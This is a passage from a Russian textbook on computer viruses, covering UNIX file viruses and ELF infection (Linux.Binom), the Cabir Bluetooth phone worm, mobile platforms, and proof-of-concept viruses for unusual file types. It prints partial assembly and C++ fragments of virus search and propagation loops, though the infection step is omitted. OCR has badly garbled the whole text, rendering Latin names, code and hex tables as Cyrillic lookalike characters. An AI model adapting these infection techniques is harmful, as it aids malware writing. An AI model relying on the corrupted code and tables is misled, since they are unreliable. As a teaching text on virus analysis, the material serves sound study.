тель-новичок ничего не должен настраивать вручную, а имеюшихся у 
него привилегий вполне хватает для серьезной работн.

Сушествуют ли вирусн, способнне размножаться в 1ЛЧ1Х-подоб- 
ннх системах? Да, и немало: в конце первого десятилетия XXI века их 
насчитнвалось около сотни -  большинство для Егпих, по нескольку 
шт\гк для ВеОЗ, ҒгееВ8 0, ЦК’Х и МасОЗ X.

Все тот же Фред Коэн в середине 1980-х годов проводил свои 
знаменитне экспериментн по заражению программ на некой разно- 
видности УМ1Х для \'АХ 11/750 (видимо, это бнла операционная
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система ТЛбпх). В 1995 году Марк Людвиг разместил в своей книге 
«Гигантская черная книга по компьютернмм вирусам» [49] исходньга 
текст вируса 5поору, способного работать в ҒгееВЗО. В 1996 году 
бнли обнародованн, также в виде исходннх текстов, вирусн Ьших. 
ВН8<5 и 1лпих.5(ао§. В новом веке, пропорционально росту популяр- 
ности 11М1Х-систем, стало увеличиваться и количество вирусов для 
них. Но практически все они имели концептуальннй характер и сразу 
же после рождения направлялись в «пробирки» к вирусологам. Как 
редкое исключение можно упомянуть небольшую эпидемию вируса 
05Х.Ьеар, проникавшего на ноутбуки М1стш зЬ как сетевой червь и 
пнтавшегося после этого заражать программн, словно «настоявдий» 
вирус.

Что же представляют собой ИН1Х-вирусн? Среди них встречаются 
почти все разновидности «заразн», рассмотреннне нами ранее [ 1 2 ].

Большинство вирусов относятся к классу «студенческих»: ишут 
цели для заражения в текушем каталоге. Некоторне (например, 
1лпих.МихЬее.1403 и Ьтих.01еяе1.962) пьггаются заразить утилитн 
в каталоге «/Мп», а 1лшх.Ка£оЬ вообше сканирует дерево катало- 
гов, начиная с корня. Но надо отметить, что любая попнтка заразить 
программн в одном из «системннх» каталогов увенчается успехом 
только в том случае, если вирус запугцен «от имени и по поручению» 
пользователя с правами суперадминистратора (то есть пользователя 
с логином «гоог»),

Сушествуют и резидентнне вирусн, например Ьтих.5Шоу.5916, 
которьга перехватнвает системннй внзов ехесуе() -  правда, только 
в адресном пространстве зараженной программн. Таким образом, 
если зараженной окажется утилита, зап}'скаюшая на вьшолнение 
другие программн (например, т с  -  исполняемьга модуль программн 
М1(1ш§Ь1 Соттапйег), то вирус сумеет заразить и их.

Различньт и способн заражения программ. Например, вирус Ьтих. 
Одая! работает по принципу «спуттшка». Он переименовнвает ори- 
пшальньш файл заражаемой программн, добавляя в начало символ 
«точка» (такие файлн по умолчанию не отображаются командой 1з), 
а себя записнвает на его место. Стартовав, вирус продолжает поиск и 
заражение других программ и лишь потом запускает оригинал.

Примером «оверлейного» вируса является Ьших.БЦлао. Он заме- 
вдает файл оригинальной программн, дописнвая его к себе в конец. 
Стартовав, ишет и заражает очереднне жертвн, а затем сбрасивает 
зараженную программу во временннй файл и запускает ее.
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Очень многие вирусн способнн заражать файлн в формате ЕЬҒ 
(это основной формат исполняемнх файлов для современннх версий 
1.1М1Х). Формат ЕЬҒ весьма похож на РЕ-формат для и это
не случайно, ибо и ЕҒҒ, и РЕ идеологически восходят к обвдему про- 
тотипу -  несколько более раннему 11Н1Х-формату СОҒҒ. Исполняе- 
мнй модуль ЕҒҒ-формата начинается с заголовка:

, ' ЕЬҒ', 12 йир (?) ; »00 Скгнатура
+ЮЛ Тип (1-переме1даемь1й, 2-исполняень1й, 3-обьектннй, 4-ядро) 
+12Й Процессор (2-5рагс, 3-180x86, 4-МС 68К, 5-МС 88К, 7-1808х) 
+14М Версия 
+1811 Точка входа
+1С(! Смешение в файле для таблицм программннх заголовков 
+2011 Смешение в файле для таблицм ааголовксв секций 
+24(1 Фпаги процессора 
+2811 Размер £1Ғ-эаголовг,а
♦2А1) Размер записи в таблице программнмх заголовков 
+20(1 Число записей в таблице программннх заголовков 
+2Е1ч Разиер записи в таблице заголовков секций 
+30(1 Нисло записей в таблице заголовков секций 
+3211 Адрес секции с именами секций

Файл разбит на секции, причем:
О  основному коду обнчно соответствует секция с именем «.{ехо;
О неинициализированньш данньш -  «.Ъзз»;
О  программннм данннм -  «,с1а1а» и «,гос1а1а»;
О коду инициализадии -  «л‘п1Г> и т. п.
Местоположение секций в файле и их основние характеристи- 

ки описнваются в таб.таце заголовков секций (самая первая строка 
в таблице всегда пуста):

е_1 йеп1: аЬ 7Ғ
е_туое а« ?
е_шас(ипе йи ?
е_уегзюп сИ ?
е.епигу <М ?
е_рпогС дв ?
е_8Ьо‘ г аО ?
е_Т1адз дй ?
е_епз1ге Фм ?
е_рпеп1:512е аи ?
е_рппигп &* ?
е.зйептглге а« ?
е_зпг1и,Т: й* ?
е_8пзггпах а« ?

зп_пате аа +00 Имя секции (смецение в секции имен)
зп_Туре ао ? +04 Тип
зп_Т1адз 00 ? +08 Бктоаь® флаги (1-записмваемай, 2-загружаемая, 4-испопняемая)
з(1_айаг аа ■? +0Сй биртуальнмй адрес
з(1_оТТзет аа ■7 +10(1 Смешение в фэйле
ЗП_8126 аа 0 +14(1 Размер
з г )_ 1 т К са ? +1811 Индекс спедудей секции
8П_1ПГ0 аа +1СИ Дополнительная информация
зп_ас(а'га11дп аа +20П Вираенивание
ЗП_епГ8179 аа 0 +2411 Размер записи в та&лице

В процессе загрузки ЕЬҒ-программн в память операционная си- 
стема внделяет под секции отдельнне сегментн адресного простран- 
ства. Местоположение сегментов в памяти и их основнне свойства 
описнваются в таблице программннх сегментов:
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р_гуре йй ? 
р_о7Гзе1: сМ ? 
р_уайс)г йй ? 
р_рэсМг йй ? 
Р ^ Ш е зг  Ос) ? 
р_шеюз2 йй ? 
р_?1адз сМ ? 
Р _ а Н д п  сМ ?

КЮ Тиг, (битовмй фпаг 1 означает загружаемость)
+04 Сме^ение в Файле
+08 Виртуальний адрео
+0С11 Физический адрес (чаотс = р _ у з с 10г )

+10Ь Физический разнер 
+14И Виртуальннй размер 
+18Ь Флаги 
+1С11 Вмравнивание

Способн заражения программ ЕЬҒ-формата в 11М1Х примерно те 
же, как и РЕ-формата в Д¥шс1о\у5 .

Правда, все, что находится вне секций, в память загружено не бу- 
дет, поэтому вирусн, пнтаюшиеся использовать идею \¥ш 9Х .С 1Н  и 
размешаюшие свой код в зазоре между заголовком и собственно про- 
граммой, для ЕЕҒ-формата неактуальнн.

Зато можно, например, увеличить размер самой последней секции 
(при условии что она описана в таблице программннх сегментов и 
для нее в поле «р_1 уре» установлен бит загружаемости) и вписать 
вирус в появившееся дополнительное пространство. Чтобн вирус 
получил управление, придется соответствуювдим образом изменить 
точку входа в заголовке (поле <е_епггу>). Можно подобньш образом 
поступить и с одной из секций в середине файла, но тогда придется 
все остальнне секции сдвигать вниз.

Также можно разместить в файле новую секцию с вирусом и доба- 
вить сведения о ней в системнне таблицн. Если места для расшире- 
ния таблиц не хватит, опять придется сдвигать секции в файле.

В качестве простого, но поучительного примера рассмотрим прин- 
цип действия вируса Ьших.В1пош. Вирус ишет и заражает файлн 
в текугцем каталоге, непосредственно обрашаясь к сервисннм функ- 
циям ядра через <ШТ 80Ь»:
гереа1::

воу! $0х Ь7, <еач ; ''Текуший кэталог"
гпоу! %65Р, «вЬх ; Буфер
яоу! $0x80. %всх : Длина
хпт $0x80
воу1 $0x5, %еах ; "Открить Фай.п, каталог или уотройстзо"
и о у !  % ба1, % еох ; Имя ф айла , к а т а л о г з  или  у с т р о й с т в а

ш оу1 $0x0, %есх ; Флаги
пю у1 $0x0, « в й х  ; Ре*им
1пт §0x80
спр! $0x0, %еах
Лде пехП . Ошибка?
] 1пр еггог
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пеЛ1:
шоу! %еэх, (%езр+0х8С+Тс1+2)
гло»1 $0х0С; %еах ; 'Перейти в каталог"
ш оу!  *е81, %ейх ; Хэндл каталога
1пС $ 0 x 8 0

зио1 $0х10А, Эйзр
вю'.-'1 $0x59, %еах ; "Искать очередной файл"
шоу! (%е2р+198П+Тс!), %еЬх ; Тй
шо«1 %е5р, %есх ; сИгр
то»1 $0x1, %ебх ; Счетчик
1П1: $ 0 x 8 0

сшр1 $0x1, %еах : Овибка?
]пг еггог

. Пропушен фрагмент заражения 

3 гпр гереат

Программнме файлн, зараженнне зтим вирусом, удлиняются на 
4096 байтов. Вот часть таблицм заголовков секций до заражения (см. 
табл. 7.1).

Таблица 7.1. Заголовки секций д о  заражения
## Имя Тип Флаг ВиртАдр ФизАдр Длина
12 Дех1 РНОС ХА. 080482СЮ 00000 Ш4 0000005Е
13 .Гю'| РНОО ХА. 080484С0 000004С0 0000001В
14 .гос!а*а РНОС .А. 080484СЮ 000004ЭС 00000015
15 ,е(1 Тгате РНОС .А. 080484Ғ4 000004Ғ4 00000004
16 ,с1огз РНОС .№ 080494Ғ8 000004Ғ8 00000008

А вот после оного (см. табл. 7.2).

Таблица 7.2. Заголовки секции после заражения
## Имя Тип Флаг ВиртАдр ФизАдр Длина
12 ,1ех( РЯОС ХА. 08048200 00000 Ш4 0000005Е
13 •ЯП1 РНОС ХА. 080484С0 000004С0 0000001В
14 ,гос1а1а РРОС .А. 0804840С 0000040С 00000015
15 ,еИ Ггате РҒЮС .А. 080484Ғ4 000004Ғ4 00000004
16 .С40ГЗ РКОС . т 080494Ғ8 000014Ғ8 00000008

Таким образом, если сравнить структурн «здоровой» и заражен- 
ной программн, то можно обнаружить внедрение постороннего кода 
в середину файла, сопровождаюшееся «раздвижением» секций (см. 
рис. 7.8).
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До заражения После заражвния

Е1.Ғ1
“ Заголовок

Секция 1

Секция2

СекцияЗ

СекцияИ

ЕШ
 1 Заголовок

Секция 1 

Секция2

Вирус

СекцияЗ

Секция^

Рис. 7.8 ❖ Схема заражения ЕЬҒ-программ 
вирусом ипих.Втот

Но длина секции, к «хвосту» которой приписан вирус, остается 
прежней. Для того чтобм вируснмй код все-таки попал в память при 
загрузке программн, в таблице сегментов указмвается увеличенная 
длина сегмента, соответствуювдего секции -«.еЬ_£гате». Вотчасть таб- 
лицм сегментов до заражения (см. табл. 7.3).

Таблица 7.3. Таблица сегментов до заражения
## Туре 0№ е* УгпАсМг РЬузАййг ҒПеЗие М е т З и е ғ!д
0 РНОР 00000034 08048034 08048034 000000Е0 000000Е0 Р.Х
1 ШТР 00000114 08048114 08048114 00000013 00000013 р..
2 1_ОАР 00000000 08048000 08048000 000004Ғ8 000004Ғ8 Р.Х
3 Ю АЭ 000004Ғ8 080494Ғ8 080494Ғ8 00000100 00000104 ш.

А вот после (см. табл. 7.4).

Таблица 7.4. Таблица сегментов после заражения
N11111 Туре ОН$е( У|Г*А«1<1Г РЬузАййг Я1е51ге Меш81ге Ғ1д

0 РНОР 00000034 08048034 08048034 ООООООЕО 000000Е0 н.х
1 1МР 00000114 08048114 08048114 00000013 00000013 н..
2 Ш АЭ 00000000 08048000 08048000 000014Ғ8 000014Ғ8 н.х
3 Ш АЭ 000004Ғ8 080494Ғ8 080494Ғ8 00000100 00000104 т/.
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Вирус не изменяет содержимого поля «е_еп1гу» в ЕЬҒ-заголовке. 
Он пользуется тем обстоятельством, что код многих программ имеет 
один и тот же «пролог»:
хсг1 9ье!эр, %еЬр 
рор! %ез! 
гпоу!  %езр, %есх 
апй1 $-0x10, %езр
ризП1 %еах 
риз,ч1 %езр 
ризИ! %ебх 
ризп! айП 
ризп! ас)г2 
ризп! %есх 
ризп! %езх 
ризп! ас)гЗ
са11 1пИ  ; <- Переход на инициализацив, команда с кодом Е8 XX XX XX XX.
п1т

Вирус изменяет (предварительно сохранив оригинал) 4 байта 
командм перехода на код инициализации так, чтобн команда указн- 
вала на тело вируса.

Как найти этот вирус в файле? Наиболее простой, с точки зрения 
реализации, способ заключается в том, чтобн искать вирусную сигна- 
туру в «хвостах» всех программннх секций. Более «правильно», най- 
дя точку входа и команду перехода на код инициализации, рассчитать 
адрес, на которнй вьтолняет переход команда «САЬЬ», и искать сиг- 
натуру уже в этом фрагменте.

Итак, файловме вирусн для IIК1Х сушествуют. Но сколько-нибудь 
заметного распространения они не имеют. Причин тому несколько, и 
все они действуют одновременно.

Во-первнх, следует отметить неоднородность мира 1Ж1Х. Если 
вести речь о переносимости вирусов в виде двоичннх кодов, то пе- 
ред вирусописателями возникает ряд труднопреодолимьтх барьеров. 
Это и несоответствие системн команд различннх процессоров -  на- 
пример, исполняемнй модуль для Ро\\’егРС/МасОЗ никогда не за- 
пустится на 80х8б/ҒгееВ50. Это и различие в способах организации 
программннх пакетов -  например, для установки КРМ-пакета в си- 
стему, поддерживаюшую 1)ЕВ-пакетн, потребуется принудительная 
промежуточная перекодировка. Это и «плюрализм» в организации 
системннх внзовов -  в частности, операционная система Ь1пих пе- 
редает управление из 3-го кольца заадитн в 0-е при помовди «ШТ 
80Ь», Ве05 при помоади «ШТ 25Ь», (ЖХ при помоади «1КТ 28Ь», 
а ҒгееВЗО и 5о1апз при помоади «СЛЬЕ Г)\¥ОК1) РТК 7:0», причем 
форматьт передачи параметров через стек и регистрн не совпадают.
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3-е кольсда 
зашить»

-»•{ 1НТ25Н

- И С Л И  7:0|—

0-е копьцо 
зашить!

Прикладная  ̂
программа

УЬС и иние 
интерфейо 
нмв библио- 
теки

Ядро УН!Х
.  Внешнее 

устройстес

Рис. 7.9 ❖ Различнуе слособи  обрашения к ядру 
со  сторони 1)Н1Х-программ

Во-вторнх, распространению 11К1Х-вирусов препятствует серьез- 
ная (если не сказать «суровая») политика безопасности, устанавли- 
ваемая по умолчанию. Идеология 0К1Х вьшуждает любого пользова- 
теля работать с пониженньши (по сравнению с «гооС») привилегиями. 
Для такого пользовате.тм доступнн на запись фактически только объ- 
ектм файловой системм, владельцем которнх он является. Любой 
файловмй вирус, будучи запувден, заразит только программн «хозяи- 
на», но не тронет ни программ других пользователей, ни компонентов 
операшюнной системм. Система разграничения доступа, свойствен- 
ная \\^ш(1о\У5 МТ, тоже может бмть настроена подобннм «суровмм» 
образом, но делать это пользователю придется самостоятельно. При- 
чем пользователь рискует лишить работоспособности многие СУБД, 
офиснме пакетм, компьютернме игрм и т. п., рассчитаннме на «ста- 
рне» версии \¥тс 1ош5 9Х.

В-третьих, в мире 1Лчт1Х присутствует контроль над распростра- 
нением программного обеспечения. Ни в истории, ни в текувдем дне 
этих операционннх систем практически не бнло и нет беспрепят- 
ственного перетаскивания «игрушек» и «утилиток» на дискетах, ком- 
пакт-дисках и флэшках. Не бнло многочисленннх и обгцедоступнмх 
свалок программного обеспечения типа ВВ5 или «варезннх» ҒТР. 
Эти операционнме системн родились и развивались как инструмент 
для цивилизованннх профессионалов, и рядовне пользователи, поз- 
же пришедшие в мир ИК1Х, оказались вьшужденн соблюдать систе- 
му жестких, давно устоявшихся принципов и правил. В частности, 
пользоваться для получсния новнх программ контролируемьши хра- 
нилишами -  репозиториями.

Наконец, не следует забнвать, что 11К1Х просто не могут похвас- 
таться такой же популярностью среди рядовнх пользователей, как 
\¥тс 1о\У5 . На момент написания этих строк (начало 2009 года) на
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95% рабочих станций мира (не серверов!) установленн различнне 
версии а клонн 1Л\71Х вннужденн довольствоваться лишь
4%. В резу.чьтате создавать «заразу» под 1Ш1Х никогда не казалось 
интересннм для «типичного» вирусописателя. Пока вирусьт способ- 
нн заражать только файлн в текутцем каталоге, эпидемии в 11Н1Х- 
подобннх системах маловероятнн.

Впрочем, некоторне производители антивирусов поставляют на 
рннок свои продукти, предназначеннне для заадитн ЪгН1Х-систем: 
КАУ, БгХУеЬ, ШШеЬпСег, Ғ-РгоС. С1атАУ, Ауаз!;! и прочие. Как гово- 
рится, исключительно «шоб було».

72.52. Вируси для мобилънъис телефонов
Современньш мобильньш телефон -  это маленькая ЭВМ. обла- 

даювдая процессором, ОЗУ, памятью для долговременного хранения 
программ и данннх, различннми интерфейсами для связи с другими 
телефонами и компьютерами других типов и т. п. При помоши по- 
добннх устройств можно не только звонить и поснлать/принимать 
СМС-ки, но и ходить в Интернет, пользоваться услугами электрон- 
ной почтн, играть в компьютернне игрн и внполнять множество 
прочих действий, мало связанннх с телефонией. Среди всего океа- 
на современннх мобильннх телефонов можно внделить довольно 
популярньш класс устройств, обладаюших открнтой операционной 
системой и пригодннх для разработки своих и установки чужих при- 
кладннх программ, -  это смартфони и коммуникатори. Именно они, 
в силу своей функциональной близости к чнастояшим» компьюте- 
рам, и послужили питательной средой для зарождения нового класса 
саморазмножаюшихся программ -  «телефонннх» вирусов.

Первне упоминания о такого рода «заразе» появились в июне 
2004 года. В антивируснне компании бнл разослан исходннй текст 
на язнке С++ простой программн. способной копировать себя с од- 
ного мобильного устройства, работаюшего под управлением опера- 
ционной системн 5ушЬ1ап 05 , на другое. Для передачи червя ис- 
пользовался протокол В1иеТоо1Ь. Одновременно текст просочился 
и в некоторне интернет-конференции, благодаря чему достаточно 
бнстро бнл скомпилирован неизвестннми лицами и випушен «на 
волю». Червь получил наименование СаЬ1г.

Интерфейс В1иеГ.оо!;Ь предназначен для беспроводного взаимо- 
действия таких устройств, как персональнне ЭВМ и ноутбуки, мо- 
бильнне телефонн, принтерн, цифровне фотоаппаратн, клавиату- 
рн, мьшш, джойстики и т. п. на небольшом расстоянии -  порядка
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нескольких десятков метров. Соответственно, заражение телефона 
червем СаЬйг возможно примерно в такой же ситуации, как и чело- 
века -  гриппом: на улице, в магазине, в транспорте, на стадионе. За 
время эпидемии 2004-2006 годов из разннх уголков мира поступили 
сведения о нескольких сотнях инцидентов с червем СаЬ1г. Например, 
сообшалось о вмставочной витрине в салоне мобильной связи города 
Санта-Моника (США), «завирусованной» после визита покупателя 
с «чихаюшим» телефоном в кармане. Подтвержденн фактьт зараже- 
ний в метро Москвм, Киева и Харькова. Крупная вспмшка имела 
место на спортивнмх трибунах во время проведения в Финляндии 
чемпионата мира по легкой атлетике.

Атаке подвергались мобильнме телефонм и смартфонм серии Мок1а 
560, такие какКокла Збхх, Мокга К-Са§е, Кок1а ббхх, ̂ ок 1а Н7х -  К9х, 
Кок1а Е7х -  Е9х и прочие, а также некоторне модели 5атзип§ 5СН- 
14хх, 5ат8ип§ 5СН-15хх, 5опу Ег1с550п Р8 ххх -  Р9ххх, Епсязоп К38х 
и т. п. Типичннй телефон этого класса содержит процессор серии 
АКМ с тактовой частотой в несколько сотен мегагерц, зашишенную 
от записи флэш-память для операционной системн (устройство «2 >), 
небольшие ОЗУ (устройство «Б >) и электронннй диск для хранения 
временнмх данннх (устройство «С>), возможность подключения 
внешних флэш-карт (устройство «Е:>>), инфракрасньш порт, порт 
последовательной связи в стандарте К5-232 и В1ие1ооГ,Ь. Операцион- 
ная система 5утЬ1ап поддерживает внтесняюшую многозадачность, 
зашиту памяти и файловую систему с буквенньши обозначениями 
устройств и древовидной системой каталогов. Каталог «С:\5узСет\ 
Аррз» предназначен для прикладннх программ; «С:\5 узСет\Кесо§5» 
содержит файлн, позволяюшие распознавать типн объектов и обес- 
печивать автозапуск приложений; «С:\5у51ет\1п51а11» заполнен све- 
дениями о расположении и характеристиках установленного про- 
граммного обеспечения.

Будучи инсталлирован, червь СаЬ1г не только размешает свои фай- 
лн в каталоге «С:\5уз1 ет\арр 5\сапЬе», но и копирует себя в нестан- 
дартное место «С:\5у51ет\5утЬ1ашесиге(1а1а\сапЬезесип1;утапа§ег», 
где его трудно обнаружить. Главний цикл работн червя реализован в 
виде автомата, содержашего три состояния: 1  -  переснлка файла; 2  -  
завершение пересилки; 3 -  поиск активннх соединений.
хтцзте == 1 ) { 

х Т ( ! о Ь е х С И е г т С - М з С о п п е с Т е с К ) ) { 

хБгаге = 3;
> э 1 з е {
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хЗгаге = 2 ;
СапсеН);
оЬехС11еп1:->Ри>:(*1СиггҒ11в, 131аХиз); / /  Ггересьшкз файла САН1ВЕ.813

5еТАсТ1уе();
гегигп;
>

>
Ш 181:а1:е == 2) {
18гате = 3;
СапсеЦ);
оЬехС11еп1:->В18Соппео1(131:а1:и8); ,// Отключение
5егАс11Уе();
геТигп;

}
1!Ч151:а1:е == 3) {

1Т(оЬехС И епг) { 
ве1е1:е оЬехСИепт; 
оВехС11еп1: = МШХ;

>
»Н1 1 е ( 181:ате == 3) {

Ғ1пс10еу1се8(); / /  Поиок уотройотв для зарахения
МападеҒоипвВеу1сез(); ,/,/ Установпенив соединения

}
геТигп;

}
Стартовав с состояния 3, СаЬгг пмтается обнаружить хотя бм одно 

активное В1иеЮо{Ь-соединение и установить адрес соответствую- 
тего  устройства. Интересно, что червь не проверяет типа атакуе- 
мого устройства и может попьггаться заразить, например, принтер 
или цифровой фотоаппарат. Установив соединение, червь переходит 
в состояние 1  и переснлает на атакуемое устройство установочннй 
модуль «САК1ВЕ.515», внутри которого находятся файлн вируса: 
«САШВЕ.АРР» -  программньга код, «САК.1ВЕ.К.5С» -  ресурсн и 
«ҒЮ.МОЕ> -  сведения обусловиях автозапускаприложения. Изсо- 
стояния 1 червь переходит в завершаюшее состояние 2  только в том 
случае, если попнтка соединения бнла безуспешной. В противном 
случае он вновь возвравдается в состояние 3.

Надо отметить, что акт заражения происходит не полностью «ав- 
томатически». В процессе атаки на табло атакуемого телефона по- 
являются недвусмнсленнне предупреждения и подсказки: «К.есе)\’е 
тезза§е VIа В1ие1ооЬЬ £гот ЕТппатес1 с1е\'1се -  Принять сообшение 
через Блютус от неизвестного устройства?», «1пз(;а11 СапЬе -  Устано- 
вить СапЬе?» и прочие. Обратите внимание: пока владелец телефона 
собственноручно не подтвердит установку неизвестного объекта, по-
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лученного от неизвестного абонента, заражения не произойдет! Но 
ведь В1ие6оо{Ь как раз и позиционируется в качестве средства для 
романтичного обмена рингтонами, мелодиями, картинками и т. п. 
Поэтому «загадочность» соединения только подстегивает любопьгг- 
ство и побуждает наивного пользователя «идти до конца». К счастью, 
СаЬЛг.а не несет в себе никакого вредоносного функционала, он прос- 
то размножается. Единственннм негативньш следствием его присут- 
ствия на телефоне является бнстрая разрядка аккумуляторов -  как 
следствие непрернвного сканирования В1ие1оо1Ь-соединений. Но по 
мотивам оригинального телефонного червя бьши созданн несколько 
десятков разновидностей, способннх переносить с собой троянские 
программн, нарушать работу устройства, менять настройки, рассн- 
лать спам и т. п. Правда, значительннх эпидемий они уже не внзн- 
вали.

Несколько иную технологию использует телефонннй червь 
Сош\Уагпог, которнй не только передает себя через В1иеТоо1Ь, но 
и расснлается в виде ММС-ок. В зоне заражения вся планета! Этот 
червь тоже распространялся по телефонам серии Кок1а 560 и вьтзвал 
в 2005 г. заметную эпидемию. Такую же технологию размножения 
использовал и червь Везе1о. Некоторне черви (например, простой 
КлахЬ и полиморфннй РМСгурйс) пнтаются распространиться че- 
рез сменнне носители (флэш-карточки).

Не следует думать, что телефонн популярной серии Мойа 560 с опе- 
рационной системой 5утЬ1ап -  единственнне мобильньте устройства, 
подверженнне вирусннм атакам. Страдают и смартфонн, работаювдие 
под управлением операционной системн Шпйоугз МоЬИе. Типичньм 
представителем вирусов для них является Г>и1з, которнй умеет зара- 
жать РЕ-программн в корневом каталоге устройства «Му <1е\тсе».

Но надо признать, что эпидемии «телефонннх» вирусов, случив- 
шиеся в 2004-2006 годах, продолжения пока не получили. Самораз- 
множаювдиеся программн для мобильннх устройств продолжают по- 
тихоньку создаваться, но сколько-нибудь заметного распространения 
в «дикой природе» не имеют. В значительной мере это связано с тех- 
ническими мерами, предпринятнми производителями средств мо- 
бильной связи: например, 5утЬ1ап 0 5  начиная с версии 9.1 проверяет 
электронную цифровую подпись устанавливаемнх приложений1. Но 
все же специалистн-вирусологи считают основннми причинами ма- 
лой распространенности «телефонньтх» вирусов два обстоятельства:

1 Подробнее об ЭЦП мм поговорим дальше.
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О использование довольно сложнмх и дорогостояхцих смартфо- 
нов и коммуникаторов пока не приобрело массового характера 
среди «обшчнмх» пользователей;

О после 2006 г. у серии Кок(а 560 появились многочисленнне 
сильнне конкурента, что привело к «размнванию» потенциаль- 
ной средьг для вирусного размножения (см. рис. 7.10).
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Рис. 7.10 ❖ Динамика популярности 
различннх мобильних платформ

Фактически место 8 утЬ 1ап в мировой табели о рангах заняли сре- 
дн Арр1е Ю5 и АпскоМ. Возможно, именно они через некоторое вре- 
мя стан>т ареной для вирусно-антивирусннх баталий. Но пока этого 
нет. Троянских программ для АпйгоМ полньш-полно, есть несколько 
и для Ю5, но вирусн пока отсутствуют. С чем это связано?

Если 5утНап является классической операционной системой, 
предоставляюшей прикладннм программам доступ к файловой си- 
стеме, памяти, интерфейсам и т. п., то разработчики Ю5 и Апйгогй 
пошли другим путем. Все приложения в этих средах внполняются 
под управлением виртуальннх машин.

Например, хотя в основе АпсЬчнс! лежит адро Ғлпих, которое под- 
держивает и файловую систему, и распределение памяти, и запуск- 
завершение приложент1 , но единственньш приложением является 
^ауа-машина. Любой же пользовательский код внполняется только 
под ее управлением и, разумеется, «вьккочить» за пределн не может. 
Соответственно, поскольку }а\га-машина умеет в основном внпол- 
нять коммуникационнне операции -  вести диалог с пользователем, 
принимать и отсьшать звонки, СМС-сообшения и электронную поч- 
ту, «шарить» по Интернету, вести адресную книгу и т. п., то и много- 
численнне троянские программн умеют ровно столько же, и ни на 
йоту больше. Поэтому типичнне троянские программн, рассчитан- 
нне на работу в среде Апс1го1(1, - это «хулиганн», «жулики» или «мо-
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шенники», которие портят информацию пользователя, похишают 
конфиденциальнме даннме, расснлают от чужого имени дорогостоя- 
шие СМС-сообшения и т. п. Источником вредоносннх программ 
для А л с 1 г о 1 с1 являются взломаннме сайтн, а «путешествовать» само- 
стоятельно как внутри смартфона, так и между устройствами они не 
умеют. Если скачивать приложения с Соо§1е МагкеС, то, скорее всего, 
вероятность «подцепить заразу» будет очень невнсока. К услугам же 
любителей экстрима имеются антивирусн, например Апс1го1с1-версия 
Ог\УеЬ.

Похоже обстоит дело и со средой Ю5. В основе ее лежит Ваг\\тп- 
подобное ядро, «обернутое» Р051Х-совместимнми библиотеками. 
Но прикладньхе программьх ни к файловой системе, ни кинтерфейсам 
устройства доступа не имеют, поскольку тоже внполняются «в нед- 
рах» виртуальной машинн. Более того, любой код, работакнций под 
управлением этой виртуальной машиньт, -  и прикладной, и систем- 
ний -  обязательно должен иметь «валидную» электронно-цифровую 
подпись конкретного производителя. Таким образом фирма Арр1е на- 
деется осушествлять жесткий контроль над распростраиением 105- 
программ, и, надо признать, это ей вполне удается.

Теоретически появление саморазмножаюшихся программ в средах 
А п с 1 г о 1(1 и  Ю5 возможно. Раст>'т объемн памяти и бнстродействие 
процессоров. Производители прикладннх программ, надеясь при- 
влечь покупателя, подчас наделяют свои разработки избнточннм 
функционалом. Не исключено появление виртуальньгх машин «вто- 
рого уровня», как раз обладаюших набором «умений», достаточннм 
для появления компьютерньтх вирусов. Например, могут появиться 
офиснне приложения (что-нибудь типа Апдгогс! \¥огс! или Ю5 Ехсе1), 
способнне внполнять встроеннне в документн макрокомандн, и тог- 
да будет открьгга новая страница компьютерной вирусологии.

Но пока этого не случилось. По-видимому, условия для новнх те- 
лефонннх эпидемий евде окончательно не «созрели», и эпоха потря- 
сений ждет нас впереди.

7.2.6. Прочая вирусная «экзотика»
Значительную часть класса «экзотических» вирусов составляют так 
назьшаемне «ргоо£ о£ сопсерГ -  доказательства концепции». Как пра- 
вило, это довольно оригинальнне, сушествуюшие в небольшом коли- 
честве экземпляров саморазмножаюшиеся программн, заражаювдие 
необнчнне информационнне объектн. Обмчно они публикуются в 
электронннх журналах или сразу поснлаютс.я авторами в антивирус-
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ную компаншо, а то и «вечно» хранятся в личнмх коллекциях авто- 
ров. Типичньш примером подобного «ргооГ о£ сопсерС» можно считать 
«графический» вирус для средш ЬаЬVI Е\У, рассмотреннмй ранее.

Особенно урожайнмм на подобную «суперэкзотику» вндался ру- 
беж двух веков.

Например, зимой 1999 г. появился первмй вирус, способнмй зара- 
жать файлм помовди \Утс1о% ’5 (НЕР-файлм): \У тН и Р .1Э ето . Дело 
в том, что НЬР-файлм могут содержать не только текст и картинки, 
но и произвольнме двоичнме даннме -  в том числе и специальнме 
скриптн, исполняювдиеся при загрузке файла. Возможности этих 
скриптов невелики, но их вполне достаточно, чтобм запустить на вн- 
полнение любой код (в том числе и вирусннй), хранявдийся в том же 
файле. В дальнейшем, развивая эту же идею, появились \¥ш Н Ь Р . 
Ьиску, \Уш Н ЬР .Р1ит, \¥ тН Ь Р .А § еп 1  и прочие. Бмл способен пря- 
таться внутри файлов помовди и вирус \У ш 9 Х .5 К . Электроннме до- 
кументн и книги нередко распространяются в НЬР-формате, так что 
принципиальнмх преград эпидемиям подобнмх вирусов никогда не 
сувдествовало. Впрочем, последние версии \¥!пс1о\У5 перестали по 
умолчанию поддерживать НЬР-формат. Вместо него активно внед- 
ряется формат СНМ, представляювдий собой множество НТМЕ- 
страниц, упакованнмх в единьга файл.

В мае 1999 года стал известен первьга вирус, заражаювдий фай- 
лн  графического пакета СогеШКА\У (вирус С 5 С .5 5 У , он же Са1а). 
Этот вирус бнл написан на язнке сценариев Соге18СК1РТ и бнл 
способен заражать только файлн СогеШКА\У, Соге1РНОТО-РАШТ 
и Соге1УЕКТ1 1 КА версий, распространеннмх в последние годн 
XX века.

Летом 2000-го появился вирус АСАО .ЗЬаг. Впрочем, формальной 
новинкой бнла только среда размножения -  популярная система 
автоматизированного проектирования АиСоСАБ. А сам вирус бнл 
написан на язнке УВА и мало чем отличался от «макробратьев», 
терроризировавших приложения М5 ОШсе. Спустя несколько лет, 
в 2003 году, появился (и даже внзвал небольшой переполох) вирус 
МВР.Купе1, заражавший файлн картографического пакета Мар1п£о. 
Он тоже бнл написан на язмке Вазк:, но на разновидности МарВаз1с, 
встроенной в популярннй ГИС-пакет.

В октябре 2000-го стал известен червь Е-\Уогт.Р1Ғ.ҒаЬ1е -  пер- 
вьга вирус, заражаювдий Р1Ғ-файлн. Его то(1ия орегапсЬ основан на 
особенностях формата Р1Ғ-файлов, представляювдих собой «пере- 
ходники» между \¥т(1о\\’з и приложениями в стандарте М 5-Б05.
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Внутри Р1Ғ-файла, кроме прочей информации, хранятся сведения 
